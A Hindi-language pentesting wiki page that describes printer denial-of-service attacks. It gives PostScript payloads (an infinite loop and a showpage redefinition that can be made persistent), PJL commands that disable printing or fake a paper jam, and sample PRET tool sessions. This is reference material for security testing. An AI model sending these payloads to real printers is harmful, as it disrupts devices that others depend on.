8.8 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या फॉलो करें मुझे Twitter 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके।
पेज विवरण भाषाएं जो अनंत लूप या गणना को अनुमति देती हैं जो कंप्यूटिंग समय की बहुत अधिक आवश्यकता होती है। PCL जैसी न्यूनतम भाषाएं भी उपयोग किए जा सकते हैं ताकि उपलब्ध मेमोरी खपत हो जाए तक पर्मानेंट मैक्रो या फोंट अपलोड किए जा सकें।
PostScript
अनंत लूप
%!
{} loop
PRET का उपयोग करके:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
showpage को पुनर्निर्धारित करें
showpage
को पुनर्निर्धारित करके - जो हर दस्तावेज़ में पृष्ठ को मुद्रित करने के लिए उपयोग होता है - कुछ भी नहीं करने के लिए, PostScript जॉब्स को प्रोसेस किया जाता है लेकिन वे कुछ भी मुद्रित नहीं करेंगे।
true 0 startjob
/showpage {} def
PRET का उपयोग करके:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
दोनों हमले कोड को Sys/Start, startup.ps या समान फ़ाइलों में लिखा जा सकता है ताकि एक लिखने योग्य डिस्क वाले उपकरणों पर स्थायी DoS को प्राप्त किया जा सके।
PJL
PJL jobmedia
प्रोप्राइटरी PJL कमांड का उपयोग करके पुराने एचपी उपकरणों को जैसे LaserJet 4k श्रृंखला को सेवा मोड में सेट किया जा सकता है और नीचे दिखाए गए तरीके से पूरी तरह से प्रिंटिंग क्षमता को अक्षम किया जा सकता है:
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
PRET का उपयोग करके:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
ऑफ़लाइन मोड
इसके अलावा, PJL मानक OPMSG
कमांड को परिभाषित करता है जो 'प्रिंटर को एक निर्दिष्ट संदेश प्रदर्शित करने और ऑफ़लाइन होने' के लिए प्रोत्साहित करता है \cite{hp1997pjl}. यह उपयोग करके कागज़ जाम को नकली बनाने के लिए उपयोग किया जा सकता है जैसा कि नीचे दिखाया गया है:
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
PRET का उपयोग करके:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
इन हमलों के बारे में और अधिक जानें http://hacking-printers.net/wiki/index.php/Document_processing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके साझा करें।